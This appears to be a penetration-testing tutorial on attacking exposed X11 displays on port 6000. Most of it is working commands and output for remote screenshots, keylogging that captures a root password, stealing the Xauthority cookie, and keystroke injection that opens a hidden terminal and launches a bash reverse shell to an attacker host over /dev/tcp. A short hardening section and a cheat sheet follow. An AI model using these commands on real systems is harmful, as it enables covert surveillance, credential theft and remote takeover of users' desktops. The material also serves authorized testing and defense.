Port 6000 X11: Screenshots, Keylogging and Desktop Hijack

Port 6000 X11 in the pentest: exposed remote display, desktop screenshots, keylogging, input injection and session hijacking on Linux and Unix systems.
- Posted on 2026-04-15
- Reading time: 4 min
X11 (X Window System) is the graphics protocol that manages the desktop display on Linux and Unix systems. It listens on TCP port 6000 (display :0; display :1 = port 6001, and so on). When X11 is exposed on the network — which should never happen but happens with surprising frequency — an attacker can see everything that appears on the screen in real time, record every key pressed (keylogging) and inject input (keyboard and mouse) as if he were sitting in front of the computer. Unlike VNC
As a desktop sharing protocol, X11 is the display server itself—the lowest layer. Compromising X11 means having complete control over the graphical interface.
The historical problem of X11 is the access mechanism: the command xhost + Disables authentication completely, allowing any host to connect. This configuration has been used for decades as a "quick fix" for running remote graphics applications and is still found in legacy environments, development servers, and academic systems.
How X11 Works #
X11 Client (App) X11 Server (:6000)
┌──────────────┐ ┌──────────────────────┐
│ Firefox │ │ Display :0 │
│ Terminal │── X11 protocol ──►│ ├── Rendering grafico│
│ File Manager │ │ ├── Input (tastiera) │
│ │ ◄── eventi ──────│ └── Input (mouse) │
└──────────────┘ └──────────────────────┘
Attacker (remoto)
┌──────────────┐
│ xwd │── connect :6000──► Screenshot del desktop
│ xspy/xinput │── connect :6000──► Keylogging
│ xdotool │── connect :6000──► Injection tastiera/mouse
└──────────────┘Terminology note: In X11, the “server” is the machine with the screen (the target), and the “client” is the application that wants to display something. The attacker connects to the target's X11 server.
1. Enumeration #
Nmap #
nmap -sV -p 6000-6005 10.10.10.40PORT STATE SERVICE VERSION
6000/tcp open X11 (access denied)
6001/tcp open X11access denied → X11 is active but authentication is blocking the connection. Port 6001 is open without access denied → possible access to the display :1.
Nmap script #
nmap -p 6000 --script=x11-access 10.10.10.40PORT STATE SERVICE
6000/tcp open X11
| x11-access:
| X11 access: OPEN
|_ No authentication requiredOPEN — No authentication required → full desktop access without credentials.
Manual test #
# Imposta la variabile DISPLAY per puntare al target
export DISPLAY=10.10.10.40:0
# Prova a listare le finestre
xwininfo -root -tree -display 10.10.10.40:0xwininfo: Window id: 0x200001 (the root window)
Root window id: 0x200001 (the root window)
...
2 children:
0x3c00001 "root@server: /home/admin": ("xterm" "XTerm") 600x400+100+100 +100+100
0x3e00001 "Firefox": ("Navigator" "Firefox") 1200x800+0+0 +0+0Two windows open: an xterm terminal as root and Firefox. You can see and interact with both.
2. Desktop Screenshot #
xwd (X Window Dump) #
# Cattura l'intero desktop
xwd -root -display 10.10.10.40:0 -out screenshot.xwd
# Converti in formato leggibile
convert screenshot.xwd screenshot.png# Cattura una finestra specifica
xwd -id 0x3c00001 -display 10.10.10.40:0 -out terminal.xwdContinuous screenshot (monitoring) #
# Cattura uno screenshot ogni 5 secondi
while true; do
xwd -root -display 10.10.10.40:0 -out "screen_$(date +%s).xwd"
sleep 5
doneWith Metasploit #
use auxiliary/gather/x11_keyboard_spy
set RHOSTS 10.10.10.40
set DISPLAY :0
run3. Keylogging — Capture Every Keystroke #
xspy #
# Registra ogni keystroke in tempo reale
xspy -display 10.10.10.40:0s u d o p a s s w o r d : R 0 0 t _ P @ s s 2 0 2 5 ! [Return]
s s h a d m i n @ 1 0 . 1 0 . 1 0 . 5 0 [Return]The user typed the root password (R00t_P@ss2025!) and connected via SSH to another machine → credentials and new target.
xinput (modern alternative) #
# Lista dispositivi di input
xinput list --display 10.10.10.40:0
# Monitor keypress su un dispositivo specifico
xinput test DEVICE_ID --display 10.10.10.40:0xdotool to read the title of the active window #
# Mostra il titolo della finestra in focus (cosa sta facendo l'utente)
while true; do
xdotool getactivewindow getwindowname --display 10.10.10.40:0
sleep 2
doneroot@server: /etc — xterm
Gmail - Inbox - Mozilla Firefox
server-prod — SSH — TerminalThe user is working on configuration files, reading emails, and has an open SSH session to production.
4. Injection — Inject Keyboard and Mouse #
xdotool #
# Scrivi testo come se fosse digitato dall'utente
xdotool type --display 10.10.10.40:0 "whoami"
xdotool key --display 10.10.10.40:0 Return
# Combinazione di tasti (apri terminale)
xdotool key --display 10.10.10.40:0 ctrl+alt+t
sleep 2
xdotool type --display 10.10.10.40:0 "bash -i >& /dev/tcp/10.10.10.200/4444 0>&1"
xdotool key --display 10.10.10.40:0 ReturnYou've opened a terminal and launched a reverse shell — without the user having to do anything.
xte (xautomation) #
# Muovi il mouse e clicca
xte -x 10.10.10.40:0 "mousemove 500 300" "mouseclick 1"
# Digita testo
xte -x 10.10.10.40:0 "str reverse_shell_command" "key Return"Complete reverse shell via X11 injection #
# 1. Apri terminale
xdotool key --display 10.10.10.40:0 ctrl+alt+t
sleep 2
# 2. Lancia reverse shell
xdotool type --display 10.10.10.40:0 "bash -c 'bash -i >& /dev/tcp/10.10.10.200/4444 0>&1' &"
xdotool key --display 10.10.10.40:0 Return
# 3. Minimizza il terminale (stealth)
xdotool key --display 10.10.10.40:0 super+h5. Read the Xauthority Cookie #
If X11 is not fully open (xhost +) but uses MIT-MAGIC-COOKIE, the cookie .Xauthority It is required to connect. If you get it (via NFS
, SMB
, LFI or limited shell):
# Trova il file .Xauthority
find / -name ".Xauthority" 2>/dev/null# Copia e usa il cookie
export XAUTHORITY=/tmp/stolen_Xauthority
xwd -root -display 10.10.10.40:0 -out screenshot.xwd# Leggi il contenuto del cookie
xauth -f /home/user/.Xauthority listserver/unix:0 MIT-MAGIC-COOKIE-1 abc123def456789# Aggiungi il cookie al tuo xauth
xauth add 10.10.10.40:0 MIT-MAGIC-COOKIE-1 abc123def4567896. Post-Exploitation #
From X11 to privileged shell #
If you see a root terminal on your screen → inject commands directly.
If there is no terminal open → open one with xdotool key ctrl+alt+t and check who you are.
Observation Credentials #
Keylogging via X11 captures:
- Passwords typed in
sudo,su,ssh - Web login credentials (browser form)
- Copy/pasted tokens and keys
- Inline Credential Commands (
mysql -u root -p'password')
Lateral movement #
Hostnames and IPs captured by keyloggers or visible in terminals → new targets for scanning. Credentials → tests on SSH , RDP , MySQL.
7. Detection & Hardening #
- Never expose X11 on the network
X -nolisten tcp(default in modern distros) - Mai
xhost +— disable unauthenticated access - Use Wayland instead of X11 — Wayland does not have this architectural problem
- SSH X forwarding If remote access is needed:
ssh -X user@server(the display is not exposed on the network) - Firewall — block doors 6000-6063 incoming
- Xauthority with MIT-MAGIC-COOKIE — do not disable authentication
- Monitor connections to 6000+ ports from non-local IPs
8. Final Cheat Sheet #
| Action | Command |
|---|---|
| Nmap | nmap -sV -p 6000-6005 --script=x11-access target |
| Access test | xwininfo -root -tree -display target:0 |
| Screenshot | xwd -root -display target:0 -out screen.xwd |
| Converted | convert screen.xwd screen.png |
| Keylogger | xspy -display target:0 |
| Text injection | xdotool type --display target:0 "command" |
| Injection Enter | xdotool key --display target:0 Return |
| Open terminal | xdotool key --display target:0 ctrl+alt+t |
| Active window | xdotool getactivewindow getwindowname --display target:0 |
| Read Xauth | xauth -f /path/.Xauthority list |
| Add cookies | xauth add target:0 MIT-MAGIC-COOKIE-1 hex_cookie |
| MSF keyspy | use auxiliary/gather/x11_keyboard_spy |
Reference: X Window System Protocol, X11 HackTricks, OSCP methodology. For use in authorized environments only. https://www.pentestpad.com/port-exploit/port-6000-x11-x-window-system
Want to secure your infrastructure or grow your ethical hacking career? Discover one-on-one training with HackIta or test your company's security.








